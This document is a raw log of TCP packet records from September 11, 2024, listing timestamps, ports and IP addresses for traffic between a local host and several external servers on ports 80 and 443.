Sep 11, 2024 16:22:17.353250027 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.353275061 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.353583097 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.353595018 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.353605986 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.353641033 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.353656054 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.353825092 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.353837013 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.353852987 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.353864908 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.353877068 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.353883982 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.353893042 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.353904009 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.353910923 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.353918076 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.353951931 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.353951931 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.354000092 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.354010105 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.354022026 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.354032993 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.354046106 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.354057074 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.354068041 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.354073048 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.354073048 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.354079008 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.354099035 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.354099035 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.354114056 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.354124069 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.354125023 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.354136944 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.354146957 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.354147911 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.354166985 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.354201078 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.357192039 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.357253075 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.357273102 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.357284069 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.357311010 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.357316971 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.357322931 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.357341051 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.357367992 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.357707977 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.357717991 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.357729912 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.357753038 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.357794046 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.357805967 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.357847929 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.358486891 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.358499050 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.358510971 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.358521938 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.358560085 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.358592987 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.361668110 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.361680031 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.361697912 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.361709118 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.361720085 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.361728907 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.361733913 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.361747026 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.361768961 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.361795902 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.361983061 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.361993074 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362009048 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362020969 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362030029 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.362034082 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362046957 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362071991 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.362103939 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362108946 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.362114906 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362127066 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362137079 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362143993 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.362149000 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362162113 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362169981 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.362210035 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.362238884 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362250090 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362260103 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362272024 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362281084 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.362283945 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362294912 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362306118 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362308025 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.362333059 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.362370014 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.362545967 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362556934 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362566948 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362577915 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362590075 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362591028 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.362601995 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362615108 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362626076 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362632036 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.362637997 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362657070 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.362679958 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.362683058 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362696886 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362708092 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362718105 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362725019 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.362729073 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362741947 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362751961 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362761974 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.362763882 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362776995 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362790108 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362799883 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.362819910 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362826109 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.362832069 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362852097 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362864971 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362865925 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.362874985 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362885952 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362896919 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362899065 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.362907887 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.362934113 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.362955093 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.363017082 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363028049 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363038063 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363064051 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.363086939 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363095999 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.363101006 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363114119 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363126040 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363130093 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.363138914 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363151073 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.363184929 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.363220930 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363266945 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.363301039 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363312960 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363325119 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363337040 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363346100 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.363348961 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363392115 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.363701105 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363711119 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363720894 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363749027 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.363765955 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363771915 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.363780022 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363790035 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363801956 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363807917 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.363837004 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.363863945 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363874912 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363887072 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363898039 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363903046 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.363909960 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.363940001 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.363974094 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.363996983 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.364008904 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.364020109 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.364031076 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.364042044 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.364046097 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.364053965 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.364064932 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.364073992 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.364080906 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.364088058 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.364113092 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.364350080 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.364396095 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.364490986 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.364502907 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.364521027 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.364531994 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.364542961 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.364546061 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.364554882 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.364581108 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.364603996 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.364686012 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.364697933 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.364707947 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.364720106 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.364731073 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.364736080 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.364743948 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.364774942 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.364804983 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.364896059 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.364949942 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.365312099 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.365365982 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.365454912 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.365467072 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.365477085 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.365499973 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.365539074 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.365629911 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.365643024 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.365653038 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.365684986 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.365719080 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.386959076 CEST	49749	443	192.168.2.4	158.69.225.124
Sep 11, 2024 16:22:17.386998892 CEST	443	49749	158.69.225.124	192.168.2.4
Sep 11, 2024 16:22:17.387085915 CEST	49749	443	192.168.2.4	158.69.225.124
Sep 11, 2024 16:22:17.387412071 CEST	49749	443	192.168.2.4	158.69.225.124
Sep 11, 2024 16:22:17.387420893 CEST	443	49749	158.69.225.124	192.168.2.4
Sep 11, 2024 16:22:17.389611006 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.389632940 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.389642954 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.389683008 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.389684916 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.389693022 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.389703989 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.389715910 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.389719009 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.389727116 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.389950037 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.397206068 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.397219896 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.397238016 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.397248030 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.397258997 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.397269964 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.397283077 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.397294044 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.397305012 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.397305012 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.397331953 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.397342920 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.397352934 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.397365093 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.397375107 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.397375107 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.397401094 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.397422075 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.397437096 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.397448063 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.397459984 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.397469044 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.397469044 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.397475958 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.397509098 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.397530079 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.397541046 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.397543907 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.397552013 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.397583961 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.397650957 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.397696018 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.397696018 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.397720098 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.397764921 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.400341988 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.400353909 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.400363922 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.400413990 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.400439978 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.400490999 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.400543928 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.400552034 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.400564909 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.400597095 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.400676966 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.400688887 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.400716066 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.400727987 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.400728941 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.400741100 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.400753021 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.400753021 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.400780916 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.400793076 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.400794029 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.400804043 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.400814056 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.400832891 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.400859118 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.402940035 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.402951956 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.402962923 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.402982950 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.402995110 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403007984 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403009892 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.403021097 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403045893 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.403079033 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.403101921 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403112888 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403124094 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403134108 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403146029 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403151989 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.403157949 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403168917 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403179884 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.403198004 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.403228045 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.403333902 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403346062 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403354883 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403366089 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403383017 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403393030 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.403402090 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403414965 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403418064 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.403425932 CEST	80	49736	176.113.115.33	192.168.2.4
